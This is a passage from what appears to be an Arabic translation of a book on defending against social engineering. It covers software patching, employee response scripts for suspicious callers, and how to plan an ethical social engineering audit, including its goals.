‫اﻟﺟواب اﻟﺗﺣدﯾﺛﺎت‪ .‬أﺣدث اﻹﺻدارات ﻣن اﻟﺑرﻣﺟﯾﺎت ﻋﻣوﻣﺎ ﺗرﻗﻊ ﺛﻘوب أﻣﻧﮭم‪ ،‬ﻋﻠﻰ اﻷﻗل اﻟﻐﺎﻟﺑﯾﺔ ﻣﻧﮭم‪ .‬إذا ﻗطﻌﺔ ﻣﻌﯾﻧﺔ ﻣن اﻟﺑرﻣﺟﯾﺎت ﻟدﯾﮭﺎ‬
‫ﺳﺟل ﻣروع‪ ،‬ﻻ ﯾﺳﺗﺧدﻣوﻧﮫ‪ .‬اﻟﺗﺣول إﻟﻰ ﺷﻲء أﻗل ﻋرﺿﺔ ﻟﻠﺧطر‪.‬‬
‫اﻟﻣﺷﻛﻠﺔ اﻟﺗﻲ ﺗﺄﺗﻲ ھﻲ أن اﻟﺷرﻛﺎت ﻣﺎ زاﻟت ﺑطﯾﺋﺔ ﻟﻠﻐﺎﯾﺔ ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺗرﻗﯾﺔ ‪. IE 6‬ﻗدﯾم ﺟدا‪ ،‬وﺗﻘرﯾﺑﺎ ﻓﻲ ﻧﮭﺎﯾﺔ ﺣﯾﺎﺗﮫ ﻣن دﻋم‬
‫ﻣﺎﯾﻛروﺳوﻓت‪ .‬أدوﺑﻲ ‪ 8‬ﻟدﯾﮫ اﻟﻌﺷرات ﻣن اﻟﺛﻐرات اﻟﻣﺗﺎﺣﺔ ﻟﻠﺟﻣﮭور‪ .‬ھذﯾن اﻻﺛﻧﯾن ﻓﻘط ﻣﻊ اﻟﻌدﯾد ﻣن ﻗطﻌﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ اﻛﺗﺷﻔت ﻓﻲ‬
‫اﻟﻣﺳﺎﺑﻘﺔ‪ .‬واﻗﻊ اﻷﻣر‪ ،‬رﻏم ذﻟك‪ ،‬ھو أن ﻟدﯾك اﻟﻘدرة ﻋﻠﻰ إطﻼق ﺳراح اﻟﻣﻌﻠوﻣﺎت‪ .‬ﯾﺟب أن ﺗﻛون ﻗﺎدرا ﻋﻠﻰ إﺧﺑﺎر اﻟﻧﺎس ﻣﺎ ﯾﺟري ﺑﺣرﯾﺔ‪.‬‬
‫ﻟﻠﻘﯾﺎم ﺑذﻟك ﻣﻊ أﻗل ﻗﻠﻖ‪ ،‬ﯾﺟب ﻋﻠﯾك اﻟﺗﺄﻛد ﻣن أﻧك ﺗﺳﺗﺧدم اﻟﻣوظف اﻟﺧﺎص ﺑﺗﺣدﯾث اﻟﺑرﻣﺟﯾﺎت‪.‬‬
‫ﻓﻲ اﻟﻣﻛﺎﻟﻣﺎت اﻟﻣﺳﺎﺑﻘﺔ‪ ،‬إذا ﻗﺎم اﻟﻣوظف ﺑﺈﻓﺷﺎء أن اﻟﺷرﻛﺔ ﺗﺳﺗﺧدم ﻓﺎﯾرﻓوﻛس‪ ،‬ﺟوﺟل ﻛروم أو أي ﻣﺗﺻﻔﺢ آﻣن آﺧر‪ ،‬أو ‪ FoxIt‬أو ﺑراﻣﺞ‬
‫أدوﺑﻲ ذات اﻟﺗﺣدﯾث اﻟﺗﻲ ﺗﺻل إﻟﻰ ﺗﺎرﯾﺦ اﻟﯾوم‪ ،‬ﻓﺈﻧﮭﺎ ﺳوف ﺗﻘوم ﺑﺈطﻔﺎء ھﺟوم اﻟﻣﺗﺳﺎﺑﻘﯾن‪ .‬أﻧﺎ ﻻ أﻗول إن ھذه اﻟﻘطﻌﺔ ﻣن اﻟﺑرﻣﺟﯾﺎت ﻻ‬
‫ﺗواﺟﮫ أي ﻣﺷﺎﻛل ﻋﻠﻰ اﻹطﻼق‪ .‬ﺑﻌض اﻹﺻدارات ﻟﮭﺎ ﺛﻐرات ﻣوﺟودة ﺑﺎﻟﺗﺄﻛﯾد‪ ،‬وﻟﻛن ھذا اﻟﺑرﻧﺎﻣﺞ ﺑﺷﻛل ﻣﻠﺣوظ أﻗل ﻋرﺿﺔ ﻟﻠﺧطر‪ .‬ﺣﯾﺎزة‬
‫ﺗﻠك اﻟﻣﻌﻠوﻣﺎت ﻻ ﺗزال ذات ﻗﯾﻣﺔ وﻟﻛن إذا ﻟم ﯾﺳﺗﻐل اﻟﻣﺗﺎح ﻓﺎﻧﮫ ﻻ ﯾﻣﻛن إطﻼق اﻟﻣرﺣﻠﺔ اﻟﺗﺎﻟﯾﺔ ﻣن اﻟﮭﺟوم‪.‬‬
‫اﻟﺣﻔﺎظ ﻋﻠﻰ اﻟﺑراﻣﺞ ﻣﺣدﺛﺔ ھو طرف واﺣد اﻟذي ﯾﺑدو اﻧﮫ ﺣﺻل ﻋﻠﻰ ﻣﻌظم اﻟﻣﻘﺎوﻣﺔ ﻷﻧﮫ ﯾﺄﺧذ اﻟﻛﺛﯾر ﻣن اﻟﻌﻣل وﯾﻣﻛن أن ﯾﺳﺑب اﺳﺗﺧدام‬
‫ﻣﻌظم اﻟﻧﻔﻘﺎت اﻟﻌﺎﻣﺔ‪ .‬ﺗﻐﯾﯾر اﻟﺳﯾﺎﺳﺎت واﻟﻣﻧﮭﺟﯾﺎت اﻟداﺧﻠﯾﺔ اﻟﺗﻲ ﺗﺳﻣﺢ ﻟﻠﺑراﻣﺞ اﻟﻘدﯾﻣﺔ ﺟدا ان ﺗﻛون ﻣﺗﺎﺣﮫ ﻓﻲ ﻣﺟﺎل اﻟﻌﻣل ﯾﻣﻛن أن ﺗﻛون‬
‫ﺻﻌﺑﮫ ﻟﻠﻐﺎﯾﺔ وﯾﺳﺑب ﻛل أﻧواع اﻟﺗﺣوﻻت اﻟداﺧﻠﯾﺔ‪.‬‬
‫وﻣﻊ ذﻟك‪ ،‬إذا اﻟﺗزﻣت اﻟﺷرﻛﺔ ﺑﺧﻠﻖ اﻟوﻋﻲ اﻷﻣﻧﻲ اﻟﺷﺧﺻﻲ ﺛم ارﺗﻛﺎب ﻣﺛل ھذه اﻟﺗﻐﯾرات ﺳوف ﺗﺻﺑﺢ ﺟزءا ﻣن ﺛﻘﺎﻓﺔ اﻷﻋﻣﺎل‪.‬‬

‫ﻣﺧطوطﺎت اﻟﺗطوﯾر )‪(Developing Scripts‬‬

‫أﻛﺛر ﺷﻲء ﻣﻔﯾد واﻟﺟدﯾر ﺑﺎﻟذﻛر ھو‪ :‬ﻣﺧطوطﺎت اﻟﺗطوﯾر‪ .‬ﻻ ﺗﻔﮭم ﺧطﺎ‪ .‬اﻧﺎ ﻻ أﻗﺻد اﻻﺳﻛرﯾﺑت ﺑﻣﻌﻧﺎه اﻟﺣرﻓﻲ ﺣﯾث أن اﻟﻣوظف ﯾﺟب أن‬
‫ﯾﻘول ‪ X‬إذا ﻛﺎن اﻟوﺿﻊ ﯾﺳﺎوي ‪ .A + B‬اﻧﺎ اﺗﺣدث ﻋن اﻟﺧطوط اﻟﻌرﯾﺿﺔ اﻟﺗﻲ ﺗﺳﺎﻋد ﻋﻠﻰ أن ﺗﺟﻌل اﻟﻣوظف ﻟﯾﻛون ﻣﺳﺗﻌدا ﻻﺳﺗﺧدام‬
‫اﻟﺗﻔﻛﯾر اﻟﻧﻘدي ﻋﻧدﻣﺎ ﯾﻛون ذﻟك ﺿرورﯾﺎ أﻛﺛر ﻣن ﻏﯾره‪ .‬اﻧظر ﻓﻲ ھذه اﻟﺳﯾﻧﺎرﯾوھﺎت‪:‬‬
‫ﻣﺎ ھو اﻟرد اﻟﻣﻧﺎﺳب ﻋﻧدﻣﺎ ﯾدﻋﻰ ﺷﺧص أﻧﮫ ﯾﻌﻣل ﻣن اﺟل دﻋوات ﻣن ﻗﺑل اﻟرﺋﯾس اﻟﺗﻧﻔﯾذي وﯾطﺎﻟﺑك ﺑﻛﻠﻣﺔ اﻟﻣرور اﻟﺧﺎﺻﺔ ﺑك؟ ﻣﺎذا ﺗﻔﻌل‬
‫ﻋﻧدﻣﺎ ﯾﻛون اﻟﺷﺧص اﻟذي ﻟﯾس ﻟدﯾﮫ ﻣوﻋد وﻟﻛﻧﮫ ﯾﺑدو وﯾﺗﺻرف ﻛﺟزء ﻣن اﻟﻣورد وﯾطﻠب اﻟوﺻول إﻟﻰ ﺟزء ﻣن اﻟﻣﺑﻧﻰ أو اﻟﻌﻘﺎر؟‬
‫ﯾﻣﻛن أن ﺗﺳﺎﻋد ﻣﺧطوطﺎت اﻟﺗطوﯾر اﻟﻣوظف ﻟﺗﺣدﯾد اﻟرد اﻟﻣﻧﺎﺳب ﻓﻲ ﻣﺛل ھذه اﻟظروف وﻣﺳﺎﻋدﺗﮭم ﻋﻠﻰ اﻟﺷﻌور ﺑﺎﻟراﺣﺔ‪ .‬ﻋﻠﻰ ﺳﺑﯾل‬
‫اﻟﻣﺛﺎل‪ ،‬اﻟﻣﺧطوطﺎت ﻗد ﺗﺑدو ﻣﺛل ھذا‪:‬‬
‫إذا ﻗﺎم ﺷﺧص ﻣﺎ ﺑﺎﻻﺗﺻﺎل ودﻋﻲ اﻧﮫ ﻣن ﻣﻛﺗب اﻹدارة وﯾﺗطﻠب اﻻﻣﺗﺛﺎل ﻣﻧك إﻣﺎ ﻟﺗﺳﻠﯾم اﻟﻣﻌﻠوﻣﺎت أو اﻟﺑﯾﺎﻧﺎت اﻟداﺧﻠﯾﺔ‪ ،‬اﺗﺑﻊ اﻟﺧطوات‬
‫اﻟﺗﺎﻟﯾﺔ‪:‬‬
‫‪ -1‬اﺳﺄل ﻋن اﻟرﻗم اﻟﺗﻌرﯾﻔﻲ اﻟوظﯾﻔﻲ ﻟﻠﺷﺧص )‪ (person’s employee ID number‬واﺳﻣﮫ‪ .‬ﻻ إﺟﺎﺑﺔ ﻋﻠﻰ أﯾﺔ أﺳﺋﻠﺔ ﺣﺗﻰ ﯾﻛون‬
‫ﻟدﯾك ھذه اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫‪ -2‬ﻋد اﻟﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻌرﯾﻔﺔ‪ ،‬ﺗﺳﺄﻟﮫ ﻋن رﻗم اﻟﻣﺷروع )‪ (project ID number‬اﻟﻣﺗﻌﻠﻖ ﺑﺎﻟﻣﺷروع اﻟذي ھو ﯾطﻠب ﻣن‬
‫اﻹدارة ﻣﻌﻠوﻣﺎت ﻋﻧﮫ‪.‬‬
‫‪ -3‬إذا ﺗم اﻟﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت ﻓﻲ اﻟﺧطوﺗﯾن ‪ 1‬و‪ 2‬ﺑﻧﺟﺎح‪ ،‬ﻗم ﺑﺎﻻﻣﺗﺛﺎل‪ .‬إذا ﻟم ﺗﻛن ﻛذﻟك‪ ،‬اطﻠب ﻣن اﻟﺷﺧص أن ﯾﻘوم ﻣدﯾره‬
‫ﺑﺈرﺳﺎل ﺑرﯾد إﻟﻛﺗروﻧﻲ ﺑطﻠب اﻹذن ﻣن ﻣدﯾرك وإﻧﮭﺎء اﻟﻣﻛﺎﻟﻣﺔ‪.‬‬
‫ﺳﯾﻧﺎرﯾوھﺎت ﺑﺳﯾطﺔ ﻣﺛل ھذا ﯾﻣﻛن أن ﺗﺳﺎﻋد اﻟﻌﺎﻣﻠﯾن ﻟﻣﻌرﻓﺔ ﻣﺎذا ﯾﻘول واﻟﻘﯾﺎم ﺑﮫ ﻓﻲ اﻟظروف اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺣﺎول وﻋﯾﮫ اﻷﻣﻧﻲ‪.‬‬

‫اﻟﺗﻌﻠم ﻣن ﻋﻣﻠﯾﺎت ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪(Learning From Social Engineering Audits‬‬

‫إذا ﺣدث ﻟدﯾك ﻓﻲ أي وﻗت ﻣﺿﻰ أن ﺗم ﻛﺳر أﺣد أطراﻓك ﻓﺈﻧك ﺗﻘوم ﺑﺎﻻﺳﺗﻌﺎﻧﺔ ﺑﺎﻟطﺑﯾب واﻟذي ﻗد ﯾرﺳﻠك ﻟﻠﻌﻼج‪ .‬ﺣﯾث ﯾﻘوم ﺑﺗﺄھﯾل‬
‫اﻟﻣﻌﺎﻟﺟﯾن ﻟك‪ ،‬ﻗد ﺗﺗﻌرض ﻟﺑﻌض اﺧﺗﺑﺎر اﻹﺟﮭﺎد‪ .‬ھذا اﻟﻧوع ﻣن اﻻﺧﺗﺑﺎر ﺗﻣﻛن اﻷطﺑﺎء ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن ﻟدﯾك ﻧﻘﺎط اﻟﺿﻌف واﻟﺗﻲ ﺗﺣﺗﺎج‬
‫إﻟﻰ ﺗﻌزﯾز‪ .‬ﯾﻧطﺑﻖ اﻟﺷﻲء ﻧﻔﺳﮫ ﺑﺎﻟﻧﺳﺑﺔ ﻟﻌﻣﻠك‪ ،‬ﺑﺎﺳﺗﺛﻧﺎء ﺑدﻻ ﻣن اﻧﺗظﺎر " ان ﯾﺣدث اﻟﻛﺳر" ﻗﺑل "اﻻﺧﺗﺑﺎر" ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺗﻣﻛﻧك‬
‫ﻣن اﺧﺗﺑﺎر اﻹﺟﮭﺎد ﻟﻠﺷرﻛﺔ ﺑﺎﻟﺗﺳﺟﯾل ﻗﺑل ﺣدوث اﻻﺧﺗراق‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪996‬‬

‫اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﺗﺟﯾب ﻋﻠﻰ ﺑﻌض اﻷﺳﺋﻠﺔ اﻷﺳﺎﺳﯾﺔ ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﻣراﺟﻌﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ وﻛﯾﻔﯾﺔ اﺧﺗﯾﺎر أﻓﺿل ﻣراﻗب اﻟﺣﺳﺎﺑﺎت‪.‬‬
‫ﻗﺑل اﻟدﺧول ﻓﻲ ﻋﻣﻖ ﻣراﺟﻌﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﯾﺟب أن ﻧﻌرف ﻣﺎ ھﻲ اﻟﺗدﻗﯾﻖ ﺣﻘﺎ‪ .‬ﻓﮭم ﻣﺎ ھو ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬

‫ﻓﮭم ﻣﺎ ھو ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪(Understanding What A Social Engineering Audit Is‬‬

‫ﻓﻲ ﻣﻌظم اﻟﻣﺻطﻠﺣﺎت اﻷﺳﺎﺳﯾﺔ ﻓﻲ ﺗﺣﻘﯾﻘﺎت‪/‬ﺗدﻗﯾﻘﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ اﺳﺗﺄﺟر ﻣﺣﺗرﻓﻲ اﻷﻣن ﻻﺧﺗﺑﺎر اﻟﻧﺎس واﻟﺳﯾﺎﺳﺎت واﻟﻣﺣﯾط‬
‫اﻟﻣﺎدي ﻟﻠﺷرﻛﺔ ﻣن ﺧﻼل ﻣﺣﺎﻛﺎة ﻧﻔس اﻟﮭﺟﻣﺎت اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث‪ .‬اﻻﺧﺗﻼﻓﺎت اﻟرﺋﯾﺳﯾﺔ ﺑﯾن اﻻﺛﻧﯾن اﻟﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾﺛﺔ واﻟﻣدﻗﻖ اﻷﻣﻧﻲ ھﻲ‪:‬‬
‫‪ -‬ﻋﺎدة‪ ،‬ﻣﺑﺎدئ اﻟﺗوﺟﯾﮫ اﻷﺧﻼﻗﯾﺔ واﻟﻘﺎﻧوﻧﯾﺔ ﯾﺗﺑﻌﮭﺎ اﻟﻣدﻗﻖ‪/‬اﻟﻣﺣﻘﻖ اﻷﻣﻧﻲ‪.‬‬
‫‪ -‬أھداف اﻟﻣراﺟﻊ اﻷﻣﻧﻲ ھﻲ داﺋﻣﺎ اﻟﻣﺳﺎﻋدة وﻟﯾس ﻹﺣراج‪ ،‬ﺳرﻗﺔ‪ ،‬أو ﺿر اﻟﻌﻣﯾل‪.‬‬
‫‪ -‬اﻟﻣدﻗﻖ اﻟﻣﺣﺗرف ﻋﻣوﻣﺎ ﻟدﯾﮫ ﻧطﺎق ﻣن اﻟﻘﯾود اﻟﺗﻲ ﻻ ﺗﻔرض ﻋﻠﻰ اﻟﻣﮭﺎﺟم اﻟﺣﻘﯾﻘﻲ‪.‬‬
‫اﻟﻣدﻗﻖ اﻷﻣﻧﻲ ﺳوف ﯾﻧﻔﻖ اﻟﻛﺛﯾر ﻣن اﻟوﻗت ﻓﻲ ﺗﺣﻠﯾل وﺟﻣﻊ اﻟﺑﯾﺎﻧﺎت ﻋن "اﻟﮭدف" أو اﻟﻌﻣﯾل وﺳوف ﺗﺳﺗﺧدم ﺗﻠك اﻟﻣﻌﻠوﻣﺎت ﻟﺗطوﯾر ﻧﺎﻗﻼت‬
‫اﻟﮭﺟوم اﻟواﻗﻌﯾﺔ‪ .‬ﺣﯾن اﻟﻘﯾﺎم ﺑﮭذا اﻟﺗدﻗﯾﻖ اﻷﻣﻧﻲ أﺑﻘﻲ داﺋﻣﺎ ﻓﻲ اﻻﻋﺗﺑﺎر اﻷھداف اﻟﺗﻲ ﺗردھﺎ ﺧطﯾﺎ ﻟﻛل اﻟﺗدﻗﯾﻖ‪ .‬ھذا ھو ﺟزء أﺳﺎﺳﻲ ﻣن‬
‫اﻟﻠﻐز‪ ،‬ﻻن اﻻﻧﺣراف ﻋن اﻟﻣﺳﺎر ﯾﻣﻛن أن ﯾﻛون ﻟﮭﺎ ﺗداﻋﯾﺎت ﺳﯾﺋﺔ ﻟﻠﻐﺎﯾﺔ ﻋﻠﻰ ﻛل ﻣن ‪ SE‬واﻟﮭدف اﻟذي ﻗد ﯾﻛون ﻣﻐرﯾﺎ‪ .‬ﺑوﺿﻊ أھداف‬
‫ﻣﺣددة ﯾﻣﻛن أن ﺗﺑﻘﻲ ﻣدﻗﻖ ﺣﺳﺎﺑﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣن ارﺗﻛﺎب ھذا اﻟﺧطﺄ‪.‬‬

‫ﺗﺣدﯾد أھداف اﻟﺗدﻗﯾﻖ )‪(Setting Audit Goals‬‬

‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻣﺣﺗرف ﯾﺟب ﻋﻠﯾﮫ اﻻﻧﺧراط ﻓﻲ اﻟﺳﻠوك اﻷﺧﻼﻗﻲ واﻷدﺑﻲ ﻓﻲ ﺣﯾن ﻻ ﯾزال ﯾﻣﺗد ﻋﺑر ھذا اﻟﺧط اﻟذي ﯾﺳﻣﺢ ﻟﮫ ﺑوﺿﻌﮫ‬
‫ﺣﻘﯾﻘﺗﺎ ﻓﻲ "اﻟﻘﺑﻌﺔ ﺳوداء" اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾث‪ .‬ھذا ﯾﻌﻧﻲ ﺗدوﯾن اﻟﻣﻼﺣظﺎت ﻋن اﻷﺷﯾﺎء اﻟﺗﻲ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻟﻠوﺻول واﻟﻛﺷف ﻋن‬
‫اﻟﻔﺟوة أو ﺿﻌف ﻓﻲ دﻓﺎﻋﺎت اﻟﺷرﻛﺔ‪ ،‬ﻣﮭﻣﺎ ﻛﺎﻧت ﺗﺑدو ﻣﻧﺧﻔﺿﺔ‪.‬‬
‫اﻟﻌﺛور ﻋﻠﻰ اﻟﺛﻐرات أﻣﻧﯾﺔ ﯾﺟب أن ﺗﻛون ﻣﺗوازﻧﺔ ﻣﻊ ﺣرص اﻟﻣﺳﺗﺧدﻣﯾن اﻷﻓراد‪ .‬اﻟﺷرﻛﺎت اﻟﺗﻲ ﺗم اﺧﺗراﻗﮭﺎ ﻣﻊ ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‬
‫ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻌﺗﻘدون أن ﻓﺻل اﻟﻣوظف اﻟذي ﺳﻘط ﻓﻲ اﻟﮭﺟوم ھو ﺣل اﻟﻣﺷﻛﻠﺔ وﻏﻠﻖ ﻟﮭذه اﻟﻔﺟوة‪ .‬ﻣﺎ ﯾﻔﺷل ﻓﯾﮫ اﻟﻌﻣﯾل ﻓﻲ اﻻدراك ھو أﻧﮫ ﺑﻌد‬
‫اﻟﺗدﻗﯾﻖ‪ ،‬ھؤﻻء اﻟﻣوظﻔﯾن اﻟذﯾن ﺳﻘطوا ﻓﻲ ھذه اﻟﮭﺟﻣﺎت ھم ﻋﻠﻰ اﻷرﺟﺢ أﻛﺛر اﻟﻧﺎس أﻣﺎﻧﺎ ﻓﻲ اﻟﻣﺑﻧﻰ ﻓﻲ ذﻟك اﻟوﻗت‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻣﺣﺗرف ﯾﺟب أن ﯾﺄﺧذ اﻟﺣذر ﻟﺿﻣﺎن أن اﻟﻣوظﻔﯾن ﻻ ﯾﺿﻌﮭم ﻓﻲ ﺧط اﻟﻧﺎر‪ .‬ﺷﺧﺻﯾﺎ أﻧﺎ ﺟﻌﻠت ھذا ﻧﻘطﺔ رﺋﯾﺳﯾﺔ ﺣﯾث‬
‫اﻗول ﻟﻠﻌﻣﻼء أن اﻟﺗدﻗﯾﻖ ﻻ ﯾﺗﻌﻠﻖ ﺑﺎﻟﻣوظﻔﯾن و‪ ،‬ﺑﻘدر ﻣﺎ ﯾﻣﻛن أن أﺳﺎﻋد ﻓﻲ ذﻟك‪ ،‬أﻧﺎ ﻻ اﺿﻊ أﺳﻣﺎء اﻟﻣوظﻔﯾن اﻟذﯾن ﺗم اﺳﺗﺧداﻣﮭم‪ .‬ﻓﻲ‬
‫اﻟﺣﺎﻻت اﻟﺗﻲ ﻻ ﯾﻣﻛن أن ﺗﻛون ﺳﺎﻋدت ﻓﺄﻧﻰ ﻓﻲ ﺣﺎﺟﺔ إﻟﻰ ﺗﺿﻣﯾن ﺗﻠك اﻷﺳﻣﺎء‪ ،‬ﺣﯾث أرﻛز ﻓﻲ ﺗﻘرﯾري ﻋن اﻟﻌﯾوب ﻓﻲ اﻟﺷرﻛﺔ ﻓﻲ‬
‫اﻟﺗدرﯾب‪ ،‬واﻟﺳﯾﺎﺳﺎت‪ ،‬واﻟدﻓﺎﻋﺎت اﻟﺗﻲ ﺳﻣﺣت اﻟﻣوظف أن ﯾﺗﻌﺛر‪.‬‬
‫ﯾﺟب رﻣﻲ اﻟﻣوظف ﺗﺣت اﻟﺣﺎﻓﻠﺔ‪ ،‬إذا ﺟﺎز اﻟﺗﻌﺑﯾر‪ ،‬أو ﺗﺧرﯾب ﻟﮫ أو ﺷﺧﺻﯾﺗﮫ أو اﻟﺣﯾﺎة ﯾﺟب ان ﻻ ﺗﻛون أﺑدا اﻟﺧﯾﺎر ﻹﺟراء ﻣراﺟﻌﺔ اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟروﺗﯾﻧﯾﺔ‪ .‬ﻋﻧد ﺗﺣدد أھداف اﻟﺗدﻗﯾﻖ ﻣﻊ اﻟﻣدﻗﻖ ﻓﺎﻧﮫ ﺳوف ﯾﺗﻧﺎول ﻣﺳﺗوى ﻣن ‪ 10-0‬ﻟﮭذه اﻟﻣﺟﺎﻻت اﻟرﺋﯾﺳﯾﺔ ھﻲ‪:‬‬
‫‪ -‬ﺗﺣدﯾد ﻣﺎ إذا ﻗﺎم اﻟﻣوظﻔﯾن ﺑﺎﻟﻧﻘر ﻋﻠﻰ اﻟوﺻﻼت ﻓﻲ رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ أو ﻓﺗﺢ ﻣﻠﻔﺎت اﻟﻧﺎس اﻟذﯾن ﻻ ﯾﻌرﻓوﻧﮭم ﺟﯾدا‪ ،‬ﻣﻣﺎ‬
‫ﯾؤدي إﻟﻰ ﺣل وﺳط‪.‬‬
‫‪ -‬ﺗﺣدﯾد ﻣﺎ إذا ﻛﺎن اﻟﻣوظف ﺳوف ﯾذھب إﻟﻰ ﻣوﻗﻊ اﻟوﯾب ﻋﻠﻰ ﺷﺑﻛﺔ اﻻﻧﺗرﻧت وإدﺧﺎل ﻣﻌﻠوﻣﺎت ﺷﺧﺻﯾﺔ أو اﻷﻋﻣﺎل اﻟﺗﺟﺎرﯾﺔ ذات‬
‫اﻟﺻﻠﺔ ﻓﻲ ھذا اﻟﻣوﻗﻊ‪.‬‬
‫‪ -‬ﺗﺣدﯾد ﻣﻘدار اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﻣﻛن اﻟﺣﺻول ﻋﻠﯾﮭﺎ ﻋن طرﯾﻖ اﻟﮭﺎﺗف أو اﻟﺷﺧص ﻣن اﻟﻣوظﻔﯾن ﻓﻲ اﻟﻌﻣل أو اﻷﻣﺎﻛن اﻟﺷﺧﺻﯾﺔ‬
‫)اﻟﻣﻘﺎھﻲ‪ ،‬ﺻﺎﻻت رﯾﺎﺿﯾﺔ وﻣراﻛز اﻟرﻋﺎﯾﺔ اﻟﻧﮭﺎرﯾﺔ(‪.‬‬
‫‪ -‬ﺗﺣدﯾد ﻣﺳﺗوى اﻷﻣن ﻓﻲ ﻣﺣﯾط اﻟﻣﻛﺗب ﻋن طرﯾﻖ اﺧﺗﺑﺎر اﻷﻗﻔﺎل‪ ،‬واﻟﻛﺎﻣﯾرات‪ ،‬وأﺟﮭزة اﺳﺗﺷﻌﺎر اﻟﺣرﻛﺔ‪ ،‬وﺣراس اﻷﻣن‪.‬‬
‫‪ -‬ﺗﺣدﯾد ﻗدرة اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﺧﻠﻖ ‪ USB‬أو ‪ DVD‬ﺧﺑﯾث اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ ﺗﻐري اﻟﻣوظف ﻻﺳﺗﺧداﻣﮫ ﻋﻠﻰ ﻛﻣﺑﯾوﺗر اﻟﻌﻣل ﻟﮫ‪،‬‬
‫ﻟﻠﻣﺳﺎس ﺑﺎﻷﻋﻣﺎل‪.‬‬
‫ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬ﺳوف ﯾﺗم اﺧﺗﺑﺎر اﻟﻣزﯾد ﻣن اﻟﻣﻧﺎطﻖ‪ ،‬وﻟﻛن ﻣﺎ أﺣﺎول اﻟﻘﯾﺎم ﺑﮫ ھو ﺗﺣدﯾد اﻷھداف ﺑﺷﻛل وﺛﯾﻖ ﻟدى اﻟﺷرﻛﺔ ﻟﮭذا اﻟﺗدﻗﯾﻖ‪ .‬ﻣﺎ‬
‫أﺟد ھو أن اﻟﺷرﻛﺎت ﻏﺎﻟﺑﺎ ﻻ ﯾﻌرﻓون ﻣﺎ ﯾرﯾدون‪ .‬وظﯾﻔﺔ ﻣدﻗﻖ اﻟﺣﺳﺎﺑﺎت ھﻲ اﻟﻣﺷﻲ ﻣن ﺧﻼل ﺳﺑل ﻣﺧﺗﻠﻔﺔ ﻓﻲ اﻟﺷرﻛﺔ وﺗﺣدﯾد أي ﻣن ﺗﻠك‬
‫اﻟﺗﻲ ﺗرﯾد اﺧﺗﺑﺎرھﺎ‪ .‬ﻋﻧدﻣﺎ ﯾﺗم ﺗﺣدﯾد ھذه اﻷھداف ﺑوﺿوح‪ ،‬ﯾﺟب أن ﺗﺷﻣل أﯾﺿﺎ ﻗﺎﺋﻣﺔ ﻣن اﻷﺷﯾﺎء اﻟﺗﻲ ﻻ ﯾﺗم أﺑدا أن ﯾﺗم ﺗﺿﻣﯾﻧﮭﺎ ﻓﻲ ﻋﻣﻠﯾﺔ‬
‫اﻟﺗدﻗﯾﻖ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪997‬‬

‫ﻣﺎ اﻟذي ﯾﺟب وﯾﻧﺑﻐﻲ ﻋدم إدراﺟﮫ ﻓﻲ اﻟﻣراﺟﻌﺔ‪/‬اﻟﺗدﻗﯾﻖ )‪(What Should And Should Not Be Included In An Audit‬‬
‫ﺗوﺟد اﻟﻌدﯾد ﻣن اﻟطرق اﻟﻣﺧﺗﻠﻔﺔ ﻻﺧﺗﺑﺎر اﻷھداف اﻟﻣﺣددة ﻟﻧرى ﺑوﺿوح ﻣﺎ إذا ﻛﺎن ﯾوﺟد ﺛﻐرة أﻣﻧﯾﺔ ﻓﻲ اﻟﺷرﻛﺔ‪ .‬ﯾﻣﻛن اﺳﺗﺧدام ﺟﻣﯾﻊ‬
